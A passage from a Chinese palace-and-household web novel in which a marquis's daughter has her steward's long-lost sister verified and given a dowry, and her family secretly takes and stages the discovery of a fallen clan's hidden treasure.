柱子点头:“算是吧。不过听闻她的公爹婆母如今都在乡下,只是她是随着姐夫一起来城里做工,这才租赁了一处小院。” 柱子是许昭昭第一个启用的管事,自然就要对这个人的一切都了如指掌。 “若是我没记错,你娘当初可没说过丢了一个女儿呀?” 柱子笑得有些勉强:“回主子,小的不敢欺瞒您,我爹当年其实是娶了两房媳妇,我娘是后娶的,听我娘说,当初是前头那位行为不检点,被我爹给休了。再之后才娶了我娘进门。因为她只生了一个女儿,而且当初也是因为孩子的事一直吵闹不休,所以我爹就让她把孩子带走了。” 这么一解释,许昭昭就明白了。 不过,柱子爹倒是个有意思的人,这年月,无论是富贵还是贫穷的人家,都不会愿意让妻子把孩子带走的。 尤其是做了错事被休离婆家的女子,哪里有资格再带孩子走? 除非…… 许昭昭想到了一种可能,但是当着柱子的面儿,自然也不好提。 “我只是有些好奇,按理说你应该是没见过她的,如何还能认出她?” 柱子脸上的笑有几分勉强,主子问话,不能不答。 “我爹前头那位当时把姐姐带走,主要是因为有人说姐姐不是我爹的娃,而且当时我爹也正是恼火之时,自然就允了。没过多久,那位就另行嫁了人。 后来我长到两岁的时候,姐姐被人送回来了,身上全都是伤,说是继父家打的,后来我爹又因为这事儿跟那边大闹一场,最终把姐姐接回来。只是我五岁的时候,姐姐自己出门去找她娘,然后遇上拍花子的,就再也没回来。” 许昭昭一时间有些唏嘘,也是个苦命人。 柱子的爹娘都在侯府做事,柱子娘就在膳房里做个管事娘子,手脚还算是干净,至于柱子爹,许昭昭没怎么见过,也没有印象。 “说了这么多,你是想把东西给你姐姐送去?” “正是。姐姐如今嫁人了,日子过得也还行,有吃有穿,日子虽然是紧巴些,但好歹是能活命,而且我小侄儿长的也挺好看。” 柱子说着话,不好意思地挠挠头。 许昭昭待柱子离开后,才将麦冬叫过来。 “去查查这个柱子的姐姐,先确认真伪,之后再想法子看能不能查到当年被拐的真相。” “是,主子。” 许昭昭心里总有几分不踏实。 柱子是自己手底下的得力管事,这在京城也不算是什么秘密了。 早先那么多年,这个所谓的姐姐都杳无音信,突然一下子就冒出来了,许昭昭不得不防。 有些话,许昭昭只能是自己想,但是不能说。 尤其是当着柱子的面儿,更得注意。 若这个姐姐是真的还则罢了,若是假的…… 许昭昭的眼神里透出几分狠意。 这是有人眼馋她的家底,所以想要过来试试看能不能打入内部了? 多年前的旧事,不是那么好查的。 不过,麦冬特意安排了人跟着柱子。 麦冬是谢家培养出来的暗卫,自然是手段高超,而且行事准则也只有一条:一切为了主子! 所以,当许昭昭交代任务给他的时候,麦冬就已经将所有的可能性都想到了。 比如说,他需要知道柱子是否还忠心,那就必须派人暗中盯着他。 再比如说,那个姐姐就算是真的,这其中就一定没有阴谋吗? 所以,麦冬几乎是把自己能想到的一切都想到了,总归就是要为主子分忧。 柱子将东西都毫不犹豫地带到了平康坊。 他的姐姐姐夫就在这里做工,姐姐秀儿在一家还算是殷实的富商家里头做厨娘,姐夫则是在酒肆当伙计。 两口子每日辛苦劳作,就只为了能多赚些钱,然后想着以后送孩子去读书。 柱子是特意挑着时间过来的。 秀儿每天 只做中饭和晚饭两餐,所以正晌是可以回家的,而且她签的是工契,也不是仆契,是自由身,良籍。 “姐,看我给你带什么来了?” 秀儿正在院子里洗衣裳,听到外面的叫门声,心下一喜,回头看一眼儿子,这才快步去开门。 “柱子,你咋来了!” “我过来看看你,姐夫没在家?” 柱子特意在门口大声地嚷嚷着,就是想要让街坊四邻都知道,自己是来看姐姐和小外甥的,省得别人再嚼舌根子。 “你姐夫估摸着也要回来了,不过就算是回来了,也歇不了太长时间。” “嗯,没事儿,如果他在,我就跟他聊几句,没在就算了。” 秀儿笑着把他请到屋里,连忙倒热水。 “柱子,家里头穷,没有叶子,就只有白开水,你别嫌弃。” “姐姐这是啥话,我还能嫌弃这个?” 柱子一边说话,一边就把小外甥给抱起来了。 秀儿一看竟然有一对儿银镯子,当即吓得手都缩回来了。 “柱子,这东西太贵重,可不敢要。你快拿回去,交给娘,再不然你就自己留着,以后给你媳妇儿。” 柱子头都不抬,还在逗着小外甥。 “姐,你跟我还外道啥?我还小呢,媳妇的事不着急。” 正说着,外面又响起拍门声,应该是家里的顶梁柱回来了。 柱子没起身,他如今可是相当有体面的,他愿意敬着些姐姐,是因为小时候自己一直被姐姐照顾的,至于这个劳什子姐夫,如果敢对姐姐不好,也不是离了他就不能过! 第178章 你个败家娘儿们! 秀儿嫁的人叫王有田,家里祖上八辈儿都是泥腿子,王有田是家里的老二,老大叫王有房,老三叫王有钱,老四叫王有功。 秀儿嫁的就是再普通不过的庄户人家,秀儿的养父母还活着,因为老两口原本有个儿子,所以就想着把秀儿买下来当童养媳的,结果后来儿子早夭,这对夫妻就对秀儿颇为不满,总觉得是她命里带衰,是她克死了儿子。 因为这种念头越来越强烈,所以秀儿在娘家的日子也越来越不好过,但因为秀儿长得好,所以老两口就起了把她卖到大户人家当小妾的心思,最后还是秀儿自己和王有田看对眼了,两人私底下一接触,这事儿也就成了。 这次柱子过来,就是想着把秀儿的事情过个明路,衙门那里不是问题,他已经从主子那儿得了准信儿,只要确定秀儿是自己亲姐姐,那这件事情就必须得还姐姐一个公道。 柱子也没想过让姐夫一家子不好过,他只想让王家人知道,姐姐也是有靠山的。 王有田是带着自己的老娘一起回来的。 老娘说老大家的儿子想上学堂,但是家里头银钱不够,所以就想找二儿子这里凑一些。 王有田是个老实人,家里头的银钱都是媳妇在管,而且王有田一个月能挣两百个铜板,这是没法儿作谎的。 但是秀儿就不一样了,秀儿是儿媳妇,而且她自己赚的钱都在自己手里头,不会往公中交。 老太太是个土生土长的庄稼人,没见过什么世面,自以为见过这京城的酒肆掌柜的,便已经是接触到权贵人物了。 如今一进门,先看到一个陌生的小子,怀里头正抱着她的乖孙,不由得就耷拉下脸来。 “老二媳妇,大白天的,你怎么就让外男进来了?” 王有田在后头关门来着,进屋慢了一步,连忙解释道:“娘,这是我小舅子,亲的!” 秀儿不是张家的亲生闺女,王家人都知道,应该说是村子里的人都知道。 但是没想到,秀儿竟然还能有亲弟弟,而且瞧着这穿戴,可不像是普通人家。 “真的?秀儿娘家可是没有什么人了,你这话我咋不信呢?” 老太太盯着柱子打量,其实就想看看这姐弟俩眉眼间到底生得像不像。 别说,还真挺像! 尤其是那双眼睛,贼亮,连眼尾处上翘都一模一样。 “哟,这是新置办的?你个败家娘儿们,怎么就不知道过日子呢!手里头有钱也不是这么个活法,你这是要把家给败完呀!” 秀儿一脸紧张,下意识看向自己男人,之后又两手在系的围裙上来回揉搓,显然是不知道应该应对婆婆的突然发难。 王有田一见屋里头的东西也是吓一跳。 那对儿银镯子躺在一个木盒里,这会儿木盒子正打开着,还有那一匹的粉色的布,瞧着应该是细棉布,这哪儿是他们这样的人家能穿得起的? “秀儿,咋回事?” 王有田虽然心里咯噔一下子,但是又觉得媳妇不是那等败家的人,再说孩子都这么大了,他不信媳妇不给儿子打算。 柱子冷笑一声后,抬手拿起手边的茶碗就摔了出去。 哗啦! 这下子,把王有田的娘吓得不轻。 王有田也是吓得脖子一缩,主要是他知道小舅子挺有本事的,自己惹不起,若不然,定然会先生气,再质问。 如今却是先害怕,再小心。 这就是权势的好处了! 柱子怀里头抱着小外甥呢,他跟着吓得一激灵,但是嘴微撇了一下,没哭。 柱子瞧着这孩子不错,胆子不小,比他爹强。 “乖呀,宝宝不怕,舅舅不是冲你。乖,这银镯子是给你娘的,你若是想要,待回头舅舅再给你送一个银锁吧,你是男娃,不能戴镯子。” 这话明着是说给小娃娃听的,实际上就是说给王家母子听。 这是他带来的,可不是姐姐不过日子。 王有田立马回过味儿来,连忙扯了一下老娘:“娘,这是小舅子特意给秀儿送来的,人家才刚认亲,还有些事儿没办完呢,等都处理完了,回头儿子还得带礼去拜见一下岳父岳母的。” 柱子点点头,这听着还像样。 老婆子被吓得不轻。 而且瞧着这么多的好东西,竟然是秀儿的弟弟送来的? 那以后二儿媳可不能随便招惹了,不过,老二家有钱了,那大孙子那边读书应该也不成问题了。 一家子骨肉,互相帮衬些是应该的。 王有田知道自己娘是个什么性子,连忙让秀儿取了 二十个铜钱出来。 “娘,这些钱你先带回去应应急,我这个月的月钱还没发呢,等回头发下来了,我再给您送回去。” 王家没有分家,各房挣的钱都得往公中交。 王有田一个月的工钱是两百文,但是说好了,他往家里头交一百文,因为这里租着小院子,还有一家子的嚼用,都得花钱。 交一百文,其实也不少了。 其它的几个兄弟都在家里头种地,一年到头也就只有卖粮食的时候能看得见些铜板。 老四虽然会一些手艺活儿,但是算不得多精湛,所以平时除了种地之外,只接一些附近村子里的生意,一个月下来,可能连五十文都不一定能挣到,但这也比老大老三强太多了。 有田娘还想着再多问几句,但是看到儿子频频给自己使眼色,也只得作罢。 走之前,老婆子那双眼睛还一直往那对儿银镯子上转悠呢。 一辈子没见过这等好东西呀! 柱子没有看不起他们的意思,但是之前姐姐受了那么多的苦,而且还嫁给这么一个破落户,他心里头是不可能没有怨气的。 “姐,这些东西你都收好了,算是我补给你的嫁妆,等回头咱们到府衙过了文书,之后爹娘还会再给你补一份儿嫁妆。” 秀儿听得都有些傻,当初自己是迫不及待地嫁给王有田的,别说是嫁妆了,连自己以前的几件旧棉衣都没能拿走。 现在听到说娘家要给她补嫁妆,这心里头顿时就觉得她也是有人护着的。 秀儿说不出话来,眼泪哗哗往下掉。 王有田都看急了:“秀儿,你别哭呀,找着亲人了,这是喜事,咱们得请客的!” 第179章 认亲 麦冬那边查实的很快,因为秀儿的经历很好查。 许昭昭看过资料之后,只是微微叹息一声,也算是个可怜的女人。 好在嫁了一个好男人,虽然穷一些,但是男人护着她,而且也愿意让女人管钱管家,这就是好男人。 在这个时代,不能对好男人的要求太高了。 能养家,不在外面胡来就已经是相当优秀了。 “既然如此,麦冬,你就帮一把,尽快帮秀儿把身份落实了,另外,她既然已经嫁到王家了,这户籍一事显然不可再操作,但是虐待她的那家人,不可轻饶。” “是,小姐。” 许昭昭是个典型的护短的性子。 柱子是她的人,那么柱子的姐姐自然也是她的人。 尤其是柱子的爹娘还都在府上做事,自然得让他们知道主家是仁义的。 由侯府出面,县衙的判决也很快,而且是一纸文书,直接切断了秀儿与其养父母的关系,至于所谓的养育之恩,秀儿出嫁时,王有田给了二两银子的聘礼也都由其养父母收下,并未给秀儿一文钱,这也就算是偿还了几年的养育之情。 那对老夫妻还要再争辩,但是秀儿这边又出具证据,说是自己自打被他们夫妻俩收养后,便天天干活,从未间断,这一点有周围的邻居也可作证,所以,老夫妻也只能咬牙认下。 其实,就算是不走府衙,秀儿也不必再回那个家。 毕竟这年月讲究出嫁从夫,秀儿都是当娘的人了,本来也跟养父母没有关系了。 只是为了避免后续的一些麻烦,所以还是由府衙出面断干净得好。 此事过了明路,柱子就带着秀儿都了侯府的小角门儿,进入到下人们住的地方,总算是见到了爹娘。 王有田也是一路跟着的,这才知道,原来妻子的娘家人竟然是侯府的管事,啧啧,这可是相当体面的人家呢。 别看这些人在侯府是下人,但是到了外头,无论是铺面掌柜的,还是到了底下的坊长里正,哪一个不是对他们笑脸相迎? 王有田头一回觉得,自己娶这个媳妇就是搂住金元宝了。 柱子爹娘在侯府做事多年,不说月钱,只说是这些年得的赏钱也不少。 念着他们夫妻忠心又老实,所以下人院子里,是单独拨了一间小院儿给他们住的。 柱子娘在膳房做事,柱子如今又是小姐跟前得力的管事,听说光是柱子一个月的月钱,就有一贯钱,可把王有田给羡慕死了。 秀儿和王有田一起给爹娘磕头行过礼,这才算完事。 柱子娘是个好心人,虽然秀儿不是她亲生的,但还是又给她的手腕上套了一个玉镯子。 “这玉镯子娘戴了也有十几年了,这是当年夫人赏的。至于嫁妆的事,咱们不能草率,原本你爹的意思是想着直接给你陪嫁些银钱首饰的,但我听柱子说,如今你们一家子还在租着小院儿住,索性就让柱子在平康坊买了处小院子,当做是给你的嫁妆了。” 大兴朝,女子名下亦可有产业,尤其是地契和宅契,这些都可以有。 但是一般情况下,都是娘家人在姑娘出嫁前置办,以此来表示这些都是女方的,日后便是和离或者是别居,这些东西也是没有好争议的。 柱子娘也是见过世面的,所以就提出来置办一套小院子,记在秀儿名下,日后王家人也不敢欺负她。 柱子当时就觉得他娘这个主意好。 就得让王家人知道知道秀儿也是有娘家可倚仗的。 秀儿听罢后,一脸激动,眼底带着泪,扑通一声又跪了。 “多谢娘为我筹谋,女儿不孝,多年来未曾在膝前侍奉,如今还要劳烦爹娘为我操心。” “好了,快起来吧。以后好好过日子。” 柱子爹顺手就把一个小银锁挂在了外孙子的脖子上,可把王有田看得一愣一愣的。 这岳父岳母出手真大方呀! 一家子正在说着话,一位管事娘子在门外喊了一嗓子。 “柱子可在家吗?” 柱子闻言出屋:“在呢,哪位嫂子唤我?” “你姐姐可是找回来了?” “正是。” “刚刚紫园那边的丁香姑娘吩咐,说是若秀儿夫妻都在,便去紫园一趟,说是小姐想见见。” “是,多谢嫂子。” 柱子娘笑得很和蔼:“秀儿,这是好事儿!咱们小姐是出了名的善心,这次你的身世能光明正大地揭出来,就是因为有小姐在背后使力呢。” “娘放心,女儿一会就过去多给小姐磕几个头。” 柱子引着秀儿和王有田一起去紫园谢恩。 许昭昭见到秀儿之后,倒觉得同样都是女子,这日子果然是不一样的。 秀儿应该是长的也不差,只是因为成亲后日夜操劳,所以这模样明显比府里其它同龄人要看着年长。 “柱子是个有情意的,这么多年一直念着你。如今你们认了亲,以后就好好过日子。若是遇到难处了,就去找柱子,他如今在咱们京城市面儿上还是有几分体面的。” 柱子连忙躬身:“主子您可别笑话小的了。” 许昭昭笑笑,一抬手,芍药打头,后面跟着几个小丫头,手里可都没闲着。 “你是柱子的亲姐姐,既然柱子家给你补了嫁妆,我这个做主家的也不能没有表示。这是一贯钱、一套银饰头面、两匹棉布,就当是我为你添妆了。” “多谢小姐!小姐的大恩大德,小的这辈子没齿难忘!” 说是一套银饰的头面,其实就是一根簪、一支钗、一对银耳环、一条银项链。 对于寻常百姓而言,这可能就是一辈子都买不起一件的好东西。 但是对于许昭昭而言,只不过是她用来随时赏人用的。 “柱子,今明两天给你放假,尽快将事情安排妥当,之后我还有事要吩咐你去办。” “是,主子。” 柱子给秀儿买下的平康坊的一处小院子,离着秀儿上工的地方很近,而且这处院子比他们先前租的那套还要更大一些。 不仅有三间正房,而且还有后罩房,院子也大,能多种一些菜。 “姐姐收好,这是房契、地契,都是在官府过了文书的。日后若是他敢欺负你,只管将他撵出去!” 第180章 一笔横财 柱子顺利地将东西带回来了,但是许昭昭却没打算现在就去把那些东西弄回来。 因为她从程媛屋子里的花卉中得知,这批财富太大了,不是现在的她能吃得下的。 但是,若是不赶早将东西取出来,她又担心会夜长梦多。 她现在手中可用的人不少,但是如此隐秘之事,最好还是派心腹去才合适。 再不然,就是自己想办法把他们的记忆抹掉,这就会更麻烦一些。 许昭昭思来想去,何必非得偷偷摸摸呢? 倒不如大大方方、干干脆脆得去才好。 永平坊有一处宅院要出售,听说挂牌已有数月,但是一直没卖出去。 许昭昭让柱子打听清楚之后,便让他带路,亲自去看看那处宅子。 当然,不仅仅是她自己,王若兰也跟着一起呢。 理由都是现成的,许夫人要给女儿置办嫁妆,多合理? 牙人拿出钥匙,打开大门。 “几位贵人请。这里原是一位官爷家的别院,听说后来家里头犯了事儿,所以这处宅子也被查抄了,再后来又由户部放出来,碾转到了刘大人手上,只是刘大人家中近两年来开销颇大,所以就想着将这处宅子出手。” 没人注意到,麦冬经过牙人时,顺带着就将他腰上挂着的那串钥匙给顺走了。 等到快至前厅时,那串钥匙又回到了牙人的身上。 一切,都是那么地自然且悄无声息。 一行人进入这空落落的院子里,入目皆是荒芜。 “这宅子也不知道空了多久,母亲,您确定这里还能住人吗?” 王若兰还没说话,牙人便赶忙解释道:“小姐莫急,这院子只需安排几个奴仆打扫一下便是。说来不怕您笑话,这宅子太大,小的只是混口饭吃,这一月到头到手的银钱,只怕也是雇不起几个打杂的,所以这才由着它荒芜。 但是几位贵人不同,一瞧就知道您几位都是富贵主儿,不过是区区几个仆人,定然不算个事儿。您几位请跟我来,这院子之所以卖得贵,除了因为占地大之外,还因为这里有一处水榭。 几位贵人想想,若是到了夏日炎炎之时,在这水榭中乘凉,再配以冰果等美食,岂非快哉?” 王若兰笑道:“你倒是会说话!” 许昭昭微微撇嘴,之后便跟着一起四处看看。 “我看这里空荡荡的,有些窗户还是破损的,就这样的宅院,你竟然还打算要卖出一千贯钱,呵呵,我觉得不划算。” 许昭昭话落,便又看向王若兰:“母亲,依我看,咱们倒不如去看看那些正常有人住的宅院,有人气儿的地方,住着才安心嘛。” 牙人一听这话,就觉得这笔买卖又要黄,一咬牙一跺脚。 “小姐莫急嘛,咱们再看看,价钱方面,咱们也好商量!” “这有什么好商量的?一千贯钱就买这么一处破院子,真要是买下来,光是修葺清理怕是就得花百十来贯钱,着实不划算。” 牙人顿时一脸苦笑,“唉,那您还要不要再看看?” 牙人心里苦呀! 当初挂牌子的时候,他就觉得这个价格不好卖,他劝了主家多次,但奈何人家不听,执意要卖一千贯钱。 牙人气得想骂娘! 这人怕不是穷疯了吧? 这院子如今破败成这样,原主家都不知道派人来修整一下,就只会开口要高价,真是蠢得没边儿了! 其实牙人之前也安排自己家的亲眷过来打扫过这处院子,弄得干干净净、整整齐齐的。 但是奈何买家一听这个价格,便望而却步了。 一千贯呀! 那就等于是一千两银,这哪里能随便就拿得出来的? 许昭昭挽着王若兰的胳膊,慢慢悠悠地走着,屋里屋外的,许昭昭看得很仔细,偶尔还会自己上手摸一下那墙体或者是柱子。 但很快,母女俩还是失去兴趣,一行人就此离开。 牙人锁上门后,再次感叹,这处宅子,只怕今年又卖不出去了。 没有人会嫌钱多。 尤其是武将之家,要养亲兵,这手里头的花费就更是巨大。 许昭昭下午去了一趟侯爷的书房,两人在书房里头商议了差不多有半个时辰的功夫,最终许昭昭出来的时候,一脸喜色。 至于许翰,还在琢磨着,真有这么大的一笔财富? 晚上,许翰到紫园来看望女儿,父女俩一起喝了盏茶,走的时候,许翰的袖袋里多了一枚形状怪异的玉佩。 许翰觉得自己亲自出马不合适, 所以干脆把大儿子和二儿子都叫过来了。 为什么不叫三儿子? 因为三儿子拳脚功夫不行,这种事叫上他,只会拖后腿。 两个儿子亲自出马,然后再加上忠叔安排了马车就在门外接应,为了不引人注意,马蹄上都裹了厚厚的棉布。 许君锋率先进入妹妹所提到的书房,然后进屋后,直奔东间,果然是在那榻上寻到了一个暗格。 暗格打开后,许君锋举着火折子,果然看到那墙面上还有一个凹槽,他直接伸手,许君安将一个形状怪异的玉佩递过去。 因为光线太暗,许君锋试了几次之后,终于将玉佩完全嵌入墙体之中。 之后便听到一阵响动,两人直接站到榻前,就见这榻上木板竟然向外移动出约莫二尺的距离,露出里面的暗道。 谨慎起见,许君安先点燃一根火把之后,直接往下扔。 听到的是很普通的声音,而且借着这火把下降的机会,二人也都看清楚了下面的情况。 待兄弟二人进入暗道,看到那堆放得整整齐齐的箱子时,只觉得他们许家发财了! 的确是发财了! 这里不仅存放了几十箱子的铜钱,更是金两箱,银五箱,除此之外,古玩字画、玉器宝石等等若干。 这的的确确是一笔不菲的财富呀! 兄弟二人连忙动手,这种事情,也不敢找别人来做,兄弟两个轮流往上搬,之后就是忠叔和许君霆轮流驾驶马车往许府运。 啧啧,这可真是发了一笔横财呀。 四个人,一直忙活到后半夜,总算是把箱子都运回家了。 这还不算,接下来就是要毁尸灭迹。 第181章 有可能是一颗霉星 外面的痕迹被清理干净,许昭昭对于眼前的这些财物毫不动心,只是命人将那个黄花梨的小匣子取过来。 这里面,应该就是程媛最想隐藏的那个秘密了吧? 不对,应该说,这里面的东西,才是她最大的底气,才能让她自以为有资格与忠王谈判。 小匣子打开,露出了里面的一枚铜制信物,看模样,应该是半个。 那信物下面还压着几张纸。 许昭昭一一看过之后,眼神微动,但也并没有表现得多么惊诧。 不过是些财物罢了,算不得什么什么保命的手段。 “父亲,这个匣子女儿要带走。” 许翰大手一挥:“你随意!” 若不是宝贝女儿眼睛尖,他们哪能发这么大一笔横财? “父亲,女儿还得提醒一句,这上面但凡是有宫中印鉴的,都需谨慎处理。” “你放心,老子有办法。” 许昭昭笑笑,父亲这个看似鲁莽,实则是粗中有细,而且处事周全,不会落下什么把柄的。 几日后,许君锋领命随齐王世子李宪一起去城外的大营检阅,这次检阅,其实就是皇帝想要看看那些勋贵子弟入营后,到底表现如何,是否辱没了家中先祖。 结果,却有了意外之喜。 李宪和许君锋先一步谨见。 “禀陛下,程校尉奉命带人在山上做为守方,苏校尉则为攻方,结果双方交战之际,发生意外,程校尉滑下山坡,然后因为将原先洞口的几株矮树细枝给毁了,所以才发现这处山洞,并且在山洞中发现了一些箱笼。 臣与许君锋商议之后,便下令暂停对战,然后命人将箱笼抬出,总共发现铜钱八箱、金一箱、银两箱,除此之外,还有一些玉器字画古玩等物加起来有十多箱。 微臣斗胆上前辨认,发现这其中有一部分是自宫中流出的,有些物品上面还有少府监的印记,另,还有一部分带有宁国公府的标识。” 李宪说到此处时,还略有几分忐忑:“陛下,那八箱铜钱里,其中有两个箱子上有宁国公府的标识,如今微臣都已将这些财物运回。还请陛下定夺。” 跪在他身后的许君锋不说话,只是嘴角似乎在抽抽。 这其中要说最不值钱的,估计就是那些古玩字画了。 并非是真的古玩,而是上面有些打了宫中印记,谁拿到手也没办法光明正大地拿出去换钱,所以干脆就都交上来。 而且十多箱的宝贝? 呵呵,有些大的花瓶,再加上一些防撞手段,一个箱子里就只装这么一只,可不就显得很多了嘛。 乍一听有这么多的财物,陛下还有些懵的。 但是再一细想,便猜到这极有可能是当初程家藏匿起来的那一批。 想到当初宁国公府抄家时,还说这财物好像是对不上,这其中就有一批是宫中赏赐下去的东西不见了。 如今皇帝看着内侍统计上来的结果,还有什么不明白的? 程家这是笃定了日后可以东山再起,所以事先藏起了一批财物? 不说那些宝贝,只说是这一箱金两箱银,这能买多少田地,又能买几处宅院了? 大兴朝的金银可不是普通百姓就能随意用的,更非是能在市面儿上流通的货币,真正流通的,唯有铜钱。 而这些金银,一般都是富贵子弟们才会携带,而且到了柜坊,是可以直接兑换成铜钱的。 “李宪这次不错,立功了。” 内侍见陛下的上身微动,立马跟上前想要扶一把,但是陛下一甩袖,大步向前。 看着今日艳阳高照,永安帝的心情也极好。 “对了,还有今日跟着一起去的许君锋,也不错,暂且记下,待回头一起赏。” “陛下圣明。” 将最难处置的一批财物交到目前最缺钱的陛下手里了,许翰别提多高兴了。 一切都很自然,顺理成章,看不出任何的痕迹。 许翰做事十分小心,还特意命人拿了一些细土沙,再弄了一张细箩,然后小心且均匀地洒在那些箱笼上面,不过,有其中两个箱子上,他特意让人留了手印。 日后若是真发现有人将一些程家之物,或者是宫中御赐之物流通出去了,那这一切就都对上了。 反正,这一切都与许翰无关。 至于那手印儿,虽然有,但又故意做了模糊处理,上面还落了薄得几乎快要看不出来的细灰,这一切就更真实了。 永安帝后来单独问过李宪,也确定了在他们搬回来之前,就有两个箱子上面发现有手印,只 是好像是隔了些时日,看不真切了。 再说后来一帮子大老粗们开始搬抬,这手印自然也就不见了。 “皇伯伯,侄儿虽然记不清楚那掌纹,但是可以断定,应该是个妇人之手。” “妇人?你确定?”永安帝的眸光微寒,第一时间就想到了那个回到京城的程媛。 “回皇伯伯,侄儿不会认错的,那个手掌比微臣的要小上一圈,但是手指头又明显带粗,应该是个干过活的妇人。再不然,就是身材矮小的男子,否则,若是正常男子,不会有那么小的手。” 这一点,永安帝也能明白。 男子手掌偏大,这是毌庸置疑的,手掌印明显短小,这就已经缩小很大的范围了。 “知道了,你先下去吧。” 与此同时,忠王在宫中的暗线也将消息递了出来。 甚至于,还打听出来世子李宪发现时,其中有两个箱笼上是有手掌印的。 忠王下意识就打了个哆嗦。 这怕不是要糟! 他想的是得到程家那笔财富,他意欲争夺上位,那必然是离不了大把的银钱的。 若不然,他也不会盯上一个程媛。 可是如今看来,程媛如今不仅不是什么财神,反倒有可能是一颗霉星了。 自己与其走得近,虽然是一直瞒着,但是姜孺人曾以故人的身份邀请过程媛,万一…… 忠王几乎是不敢想了。 好在身边还有幕僚。 “王爷不必多虑,程媛在京城中,走的最近的,那也应该是齐云泽,而非是王爷。所以,就算此事若得陛下生疑,那第一个怀疑对象,也当是定南侯府。” 第182章 远在遂州的地契 忠王第一时间让人去查上次程媛送来的东西,若是上面真有标识,或者是宫中记录在案的东西,那他还真地是不敢用。 不过,忠王此时倒也不慌了。 大不了,到时候他大大方方地承认,是程媛自己主动献上来巴结的,其目的就是想让自己助她平反,如此一来,这礼物到了忠王府,自然也就顺理成章了。 只不过,到时可能免不了要被父皇责骂一番,这倒是无所谓了。 忠王担忧了好几日,但是一直不曾被圣上问责,他也便松懈下来。 但是先前程媛送的东西,自然是也被隐秘地送回去了。 程媛看着眼前的东西,气得破口大骂! 还好老仆过来劝慰:“姑娘消消气吧,这些东西上都有印记,的确是不宜再留在忠王府。而且忠王府派来的人,也并未说日后不再往来呀?况且,老奴在旁边瞧得真真儿的,那仆从对您还算是敬真,只是担心此物被查出来再牵连忠王罢了。” 程媛这才坐下来大口大口地呼吸着。 老仆说得对,她不能冲动。 还是要冷静! “事情怎么会这么凑巧?你确定咱们的东西都没了?” 老仆脸色难看:“老奴不能确定宅子里头的东西是否还在,毕竟老奴没有那处的钥匙,但是眼下老奴也不敢再轻易露面。” 另一处的藏宝地,钥匙在程媛身上,若是没有她的吩咐,老仆也不敢去取。 主要是没有钥匙。 而且如今这种时候,老仆还能不知道低调一些? 若是此时出去再取钱财回来,定然会被人盯上。 她们主仆二人却不知道,此时许昭昭不仅仅在研究那个匣子里的东西,更是在琢磨着如何将另外的一份财宝也一并取出来。 上回为了截胡姜宁,所以那么多的钱财都被入了国库。 这一次,可得先让自己过过瘾了。 许昭昭自那个黄花梨木匣中取出来两张地契,将高大魁叫来。 “还要辛苦高叔跑一趟了。” “小姐折煞小人了,您只管吩咐。” “这是远在遂州的两张地契,你且去一趟遂州,将这两处田地的收成核算一下,主要是看看这三年来田里的庄稼都落入何人之手。若是能让对方将收益吐出来,自然是无碍,若是不能也无妨。你只管去衙门里将这两处田庄都过了文书,日后这田产的主子换人了。” “是,那小的可要将庄子上的管事处置了?” “一切都由你自己作主行事即可,多带上些人手,另外,让麦冬跟你一起去,若是查一些事情,他的手段比你厉害。” “是,小的明白。” “一切妥当之后,你要记得一件事,将这两处庄子的管事以及佃农全都叫到一处,说清楚了,日后若是正常年景,咱们只收三成租子,若是有大灾,可再减租,甚至是免租。只有一样,让他们好好种田,莫要生事。” “是,小的一定将事情办好。” “你此去遂州,没有两三个月怕是回不来,你手头上的差事,暂且交到柱子手上,由他代办,” “是,小的即刻去找柱子,今日后晌便出发。” 事情安排妥当,许昭昭其实是有些好奇的。 这程家出事已是快四年了,哪怕是远在遂州的程家人,也不可能不知晓情况。 但是一直以来,他们都不曾派人到京城来,更不曾寻找这地契。 到底是程家人早有安排,还是他们想要将这些田地给吞了? 没有原本的地契,他们想要直接弄个假的去官府过文书,这显然是不可能的。 除非,他们中有人与当地的官府已然有了勾结,然后互相获利。 若是如此,那可有趣了。 许昭昭不想涉足官场之事,毕竟大兴朝的掌权者们再开明,也是不愿意女子涉政的。 如今,她只是想知道,遂州那边若是出事,京城姜家、崔家,到底是哪一家倒霉更多? 许昭昭让高大魁将地契先过到他身边的一个小厮身上,那人是侯府的家生子,一辈子的奴仆,身为奴仆,是没有资格拥有私产的。 换句话,奴仆的所有财产,都是主家的。 许昭昭这么做,只是不想让高大魁提前暴露,待事态平息之后,这两处田产亦可以直接过到自己名下,届时便可无恙了。 说到底,还是担心背后另有一双黑手。 许昭昭将那个黄花梨的匣子放好,还在琢磨着,谁能想到,程家真正最值钱的东西,就只藏在这么一个看起来平平无奇的小匣子里? 只是轻飘飘的两张地契,便已经涉及田产两千余亩,哪怕是按七贯钱一亩田来算,这两千余亩田产换成银钱,也是相当吓人的。 而这两纸地契,还只是匣子中最不值钱的东西。 难怪会有这么多人想要打探到程家财富的下落呢。 敢情程家私底下真是偷偷藏了不少好东西呀。 而且都很聪明。 置于明面儿上的一些家财都被抄了。 而这些却都是记在了下人名下的,有的可能还是远亲。 许昭昭不着急,她可以慢慢捋,总能把这些东西都给挖到自己手里头。 不是她贪财,实在是眼瞅着这钱财送上门来却想让她视而不见,那可太难为她了! 程媛此时应该是已经心慌意乱了吧? 也不知道,能不能借此机会,将她手头上的那另一半财富给搞到手。 看来,还要抽时间再去一次小院。 希望程媛不要让她失望呀! 许昭昭行动之前,自己先有麻烦了。 许琳一哭二闹的,直接就把老太太给急病了,这下子好了,府中所有小辈,有一个算一个,谁还敢在这会儿往外跑? 除了正经有差事做的几位,其它人都得老老实实地去老夫人跟前侍奉。 老夫人可以不用你,但是你身为小辈不能不去! 不去,就是不孝! 许昭昭叹气,这许琳偶尔出来蹦跶一下子,着实是让人厌烦。 这一次,因为将老夫人气病了,连带着二夫人李氏也对她极其不满。 为啥? 老夫人年纪大了,若是这时候真出个什么事,阖府都要守孝的,这妥妥会影响到小辈们前程的! 第183章 一块地 孙淮之这几日也来得频繁。 不过,他显然是醉翁之意不在酒。 京中的权贵关系,若是有心人,基本上都知道。 孙家没落,孙淮之知道指望孙家族中长辈是没戏了,所以就想着多沾侯府的光。 眼下老太太病倒,正是孙淮之可以好好利用的机会。 他一个外孙子,过来侍疾,那不是再合理不过之事? 孙淮之是个聪明人,知道什么可以利用,什么底线不能碰。 所以,他在衙署时,会故意当着几个同僚的面提及要去侯府侍疾,以此来让人们知道他与安信侯府可不是寻常的亲戚,那是正儿八经侯府的外孙呢。 他的这点小心思,有心人能看明白,但也不会戳破,毕竟人家的确是和许侯府有亲。 而有些入官场浅的新人,却是糊里糊涂,直到有人提醒,才知道人家这是在炫耀自己的靠山呢。 